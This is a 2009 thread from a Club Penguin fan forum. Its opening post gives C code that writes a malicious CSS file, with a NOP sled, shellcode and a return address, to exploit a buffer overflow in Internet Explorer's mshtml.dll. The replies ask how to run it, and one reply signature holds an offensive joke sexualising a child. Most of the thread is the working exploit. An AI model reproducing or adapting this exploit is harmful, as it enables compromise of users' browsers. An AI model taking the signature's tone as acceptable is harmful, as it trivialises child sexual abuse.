Home Forums Register FAQ Members List Calendar Search Today's Posts Mark Forums Read Arcade Chat
Go Back   ClubPenguinHQ Forums > General Discussion > Programming > CSS
Reload this Page Internet Explorer mshtml.dll Buffer Overflow Exploit
CSS Discussion of CSS scripts belongs here.

Internet Explorer mshtml.dll Buffer Overflow Exploit

Reply
 
LinkBack Thread Tools Display Modes
Internet Explorer mshtml.dll Buffer Overflow Exploit
Old
  (#1)
andrewp182 is Offline
Über Member
andrewp182 is on a distinguished road
 
andrewp182's Avatar
 
Posts: 3,483
Join Date: Sep 2007
Location: Sparks, Nevada / Tallinn, Estonia
Rep Power: 32
   
Default Internet Explorer mshtml.dll Buffer Overflow Exploit - Friday, February 6th, 2009

/*
Based Upon Outlining By Mansoor
The exploit will create a .CSS file that should be included
in an HTML file. When a user loads the HTML file, Internet
Explorer will try to parse the CSS and will trigger the
buffer overflow.
*/

//Exploit Code:
#include <stdio.h>
#include <string.h>
#include <tchar.h>

char bug[]=
"\x40\x63\x73\x73\x20\x6D\x6D\x7B\x49\x7B\x63\x6F\ x6E\x74\x65\x6E\x74\x3A\x20\x22\x22\x3B\x2F"
"\x2A\x22\x20\x22\x2A\x2F\x7D\x7D\x40\x6D\x3B\x40\ x65\x6E\x64\x3B\x20\x2F\x2A\x22\x7D\x7D\x20\x20\x2 0";

//////////////////////////////////////////////////////
/*
shellcode :MessageBox (0,"hack ie6",0,MB_OK);
-
XOR EBX,EBX
PUSH EBX ; 0
PUSH EBX ; 0
ADD AL,0F
PUSH EAX ; Msg " Hack ie6 "
PUSH EBX ;0
JMP 746D8E72 ;USER32.MessageBoxA
*/

char shellcode[]= "\x33\xDB\x53\x53\x04\x0F\x50\x53\xE9\xCB\x8D\x6D\ x74"
"\x90\x90\x48\x61\x63\x6B\x20\x69\x65\x36\x20\x63\ x73\x73";


////////////////////////////////////////////////////////
// return address :: esp+1AC :: start shellcode
//MOV EAX,ESP
//ADD AX,1AC
//CALL EAX

char ret[]= "\x8B\xC4\x66\x05\xAC\x01\xFF\xD0";

int main(int argc, char* argv[])
{

char buf[8192];
FILE *cssfile;
int i;

printf("\n\n Internet Explorer(mshtml.dll) , Cascading Style Sheets Exploit \n");
printf(" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~\n");
printf(" andrewp182 \n");
printf(" Web: DO NOT WANT \n");
printf(" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~\n\n");

// NOP`s
for(i=0;i<8192;i++)
buf[i]=0x90;


// bug
memcpy((void*)&buf[0],
(void*)&bug,48);

// shellcode
memcpy((void*)&buf[100],
(void*)&shellcode,27);

// ret address
memcpy((void*)&buf[8182],
(void*)&ret,8);


cssfile=fopen("file.css","w+b");
if(cssfile==NULL){
printf("-Error: fopen \n");
return 1;
}

fwrite(buf,8192,1,cssfile);
printf("-Created file: file.css\n ..OK\n\n");

fclose (cssfile);
return 0;
}

// andrewp182 2006

Last edited by andrewp182; Friday, February 6th, 2009 at 12:27am.
  
Reply With Quote
Old
  (#2)
Xboxsosmart is Offline
BANNED
Xboxsosmart
 
Posts: 1,978
Join Date: Jul 2007
Location: A box under the highway
Rep Power: 0
  Send a message via Skype™ to Xboxsosmart 
Default Tuesday, February 10th, 2009

LMAO
What does this do?
How do you run it?


  
Reply With Quote
Old
  (#3)
yo2boy is Offline
Senior Member
yo2boy is an unknown quantity at this point
 
yo2boy's Avatar
 
Posts: 516
Join Date: Apr 2008
Location: #iamthewalrus and/or Canada.
Rep Power: 0
  Send a message via MSN to yo2boy Send a message via Skype™ to yo2boy 
Default Wednesday, February 11th, 2009

Is/was this on milw0rm ever?

Just curious.
  
Reply With Quote
Old
  (#4)
Sad CP is Offline
Super Member
Sad CP is an unknown quantity at this point
 
Sad CP's Avatar
 
Posts: 1,071
Join Date: May 2008
Location: Number ten Downing street. Vommiting at Gorden Brown.
Rep Power: 0
  Send a message via AIM to Sad CP Send a message via MSN to Sad CP  
Default Wednesday, February 11th, 2009

I'm sure this has a side effect.


Credit goes to comunisim
  
Reply With Quote
Old
  (#5)
andrewp182 is Offline
Über Member
andrewp182 is on a distinguished road
 
andrewp182's Avatar
 
Posts: 3,483
Join Date: Sep 2007
Location: Sparks, Nevada / Tallinn, Estonia
Rep Power: 32
   
Default Wednesday, February 11th, 2009

Quote:
Originally Posted by yo2boy View Post
Is/was this on milw0rm ever?

Just curious.
Yes. It is listed by everyone everywhere and is made as part of the basic training to become a computersecurity specialist.


Billybob1234: Blind, Naked 11 year-old boy on an island.
Billybob1234: That's hot.

This Message Brought To You By Some Newfag On Freewebs
Born in a country better than yours.

  
Reply With Quote
Reply

Lower Navigation
Go Back   ClubPenguinHQ Forums > General Discussion > Programming > CSS

Bookmarks

Tags
andrewp182


Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On


Similar Threads
Thread Thread Starter Forum Replies Last Post
Stack overflow.... Billybob1234 Forum Help/Suggestions 12 Monday, August 18th, 2008 08:05am
New cheating theory(buffer overflow) Macroing & Cheating 8 Saturday, August 16th, 2008 05:30pm
Speed up Internet Connection by 20%! Surf Internet Faster theflame12 Hacking/Programming 19 Tuesday, July 15th, 2008 02:26pm
Cp Explorer Download ScriptCumber Macroing & Cheating 7 Saturday, January 19th, 2008 09:33pm



Powered by vBulletin® Version 3.8.3
Copyright ©2000 - 2009, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.3.0
vBulletin Skin developed by: vBStyles.com
Copyright ©2006 - 2009, RancidKraut Industries